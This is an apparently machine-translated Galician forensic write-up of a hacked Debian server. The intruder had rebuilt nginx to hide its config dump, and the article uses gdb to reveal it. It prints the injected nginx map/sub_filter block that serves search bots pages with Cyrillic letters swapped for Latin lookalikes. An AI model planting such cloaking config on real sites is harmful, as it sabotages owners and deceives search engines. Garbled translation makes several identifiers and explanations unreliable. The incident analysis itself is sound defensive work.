Cando 'a' non é igual a 'a'. A raíz dun hackeo

Unha historia moi desagradable aconteceulle a alguén que coñezo. Pero por moi desagradable que fose para Mikhail, foi igual de fascinante para min.

Debo dicir que o meu amigo é bastante bo UNIX- usuario: pode instalar o sistema el mesmo mysql, php e fai os axustes máis sinxelos Nginx.
E ten unha ducia de sitios web dedicados a ferramentas de construción.

Un deses sitios web dedicados ás motoserras está firmemente no máis alto das clasificacións dos motores de busca. Este sitio é un sitio de reseñas non comercial, pero alguén se fartou del e comezou a atacalo. DDoS, despois forza bruta, logo escriben comentarios obscenos e envían abusos ao aloxamento e a RKN.
De súpeto, todo quedou en silencio, e esta calma resultou non ser algo bo, e o sitio comezou a abandonar gradualmente as primeiras liñas dos resultados de busca.

Cando "a" non é "a". Tras os pasos dun hacker

Iso foi un dito, e despois a propia historia do administrador.

Estaba a piques de durmir cando soou o meu teléfono: "Sanya, poderías comprobar o meu servidor? Creo que me piratearon. Non o podo probar, pero levo tres semanas notándoo. Quizais sexa hora de que me cure a paranoia?"

Despois houbo un debate de media hora que se pode resumir do seguinte xeito:

  • o terreo para cortar era bastante fértil;
  • o pirata informático podería obter dereitos de superusuario;
  • o ataque (se tivo lugar) foi dirixido e especificamente a este lugar;
  • as áreas problemáticas foron corrixidas e só é necesario comprender se houbo un feito de penetración;
  • O ataque informático non puido afectar o código nin as bases de datos do sitio.

En canto ao último punto.

Cando "a" non é "a". Tras os pasos dun hacker

Só o enderezo IP público do frontend está exposto ao mundo. Non hai comunicación entre os backends e o frontend agás por http(s), os usuarios e os contrasinais son diferentes e non se intercambian claves. Nos enderezos privados, todos os portos agás o 80/443 están pechados. Os enderezos IP públicos do backend só os coñecen dous usuarios nos que Mikhail confía plenamente.

Instalado na interface Debian 9 e para cando se realiza a chamada, o sistema está illado do mundo por un cortafuegos externo e detido.

«De acordo, dáme acceso», decido pospoñer durmir unha hora. «Xa o verei cos meus propios ollos».

De aquí en diante:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Na procura dun posible ataque informático

Estou a iniciar o servidor, primeiro en modo de rescateMontei os discos e despraceime por eles. autorizacióntroncos, historia, rexistros do sistema, etc., sempre que podo, comprobo as datas de creación dos ficheiros, aínda que entendo que un hacker normal tería "varrido" todo, e Misha xa "pisou" moito mentres o buscaba el mesmo.

Estou a comezar en modo normal, sen saber realmente que buscar aínda, así que estou a estudar as configuracións. O meu principal interese é Nginx porque, en xeral, non hai nada máis na interface agás ela.
As configuracións son pequenas, ben estruturadas nunha ducia de ficheiros, só teño que revisalas gatoom á súa vez. Todo parece limpo, pero quizais me pasei algo por alto. incluír, farei unha lista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Non entendín: "Onde está o anuncio?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

A pregunta sobre a listaxe complétase cunha segunda: «Por que é tan antiga a versión de nginx?»

Ademais, o sistema considera que a versión instalada é máis recente:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Estou chamando:
- Mish, por que te volveches xuntar? Nginx?
- Vén en razón, nin sequera sei como facer isto!
- Vale, pois vai durmir...

Nginx Definitivamente foi reconstruído, e a saída do listado "-T" está oculta por unha razón. Xa non hai ningunha dúbida sobre o ataque, polo que podemos simplemente aceptalo e (xa que Misha substituíu o servidor por un novo de todos os xeitos) considerar o problema resolto.

E, de feito, unha vez que alguén recibiu os dereitos raíz'ah, entón só ten sentido facer reinstalación do sistema, e buscar que trasnadas se cometeran alí foi inútil, pero esta vez a curiosidade venceu o sono. Como podemos descubrir o que nos querían ocultar?

Tentemos rastrexar:

$ strace nginx -T

Estamos a ollar o trazo, claramente faltan liñas como

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Por interese, comparemos os resultados

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Creo que forma parte do código /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

foi levado ao formulario:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ou

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

é por iso que non se mostra a lista de "-T".

Pero como podemos ver a nosa configuración?

Se o meu pensamento é correcto e o problema está só na variable configuración_ngx_dump imos tentar instalalo usando gdb, grazas a Deus que hai unha chave —con-cc-opt -g está presente e esperamos que a optimización -O2 Non nos fará dano. Non obstante, como non sei como configuración_ngx_dump podería ser procesado en caso 'T':, non chamaremos a este bloque, senón que o instalaremos usando caso 't':

Por que podo usar '-t' ademais de '-T'?Procesamento de bloques se (configuración_ngx_dump) ocorre dentro se (configuración_de_proba_ngx):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Por suposto, se o código se modifica nesta parte e non na caso 'T':, entón o meu método non funcionará.

Proba nginx.confDespois de ter resolto o problema pola experiencia, estableceuse que se require unha configuración mínima para que o malware funcione. Nginx tipo:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Para ser breves, empregarémolo no artigo.

Imos iniciar o depurador

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Os pasos:

  • establecer un punto de interrupción na función main ()
  • lanzamos o programa
  • Cambiamos o valor da variable que determina a saída da configuración configuración_ngx_dump=1
  • continuar/rematar o programa

Como podemos ver, a configuración real difire da nosa. Extraigamos a peza parasitaria dela:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Vexamos o que está a suceder aquí por orde.

Están sendo determinados Axente de usuarioen yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Exclúense as páxinas de servizo WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

E para aqueles que se atopen nas dúas condicións anteriores

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

no texto html-as páxinas están cambiando O en o и Unha en unha:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Así é, a única sutileza é que unha != unha igual que 'o' != 'o':

Cando "a" non é "a". Tras os pasos dun hacker

Así, os robots dos motores de busca reciben lixo modificado diluído con caracteres latinos en lugar de texto cirílico 100 % normal. unha и oNon podo especular sobre como isto afecta ao SEO, pero é pouco probable que unha mestura de letras así teña un impacto positivo nos resultados de busca.

Que podo dicir, rapaces con imaxinación.

referencias

Depuración con GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx - Módulo ngx_http_sub_module
Sobre serras, motoserras e serras eléctricas

Fonte: www.habr.com

Compre hospedaxe fiable para sitios con protección DDoS, servidores VPS VDS 🔥 Compra aloxamento web fiable con protección DDoS, servidores VPS VDS | ProHoster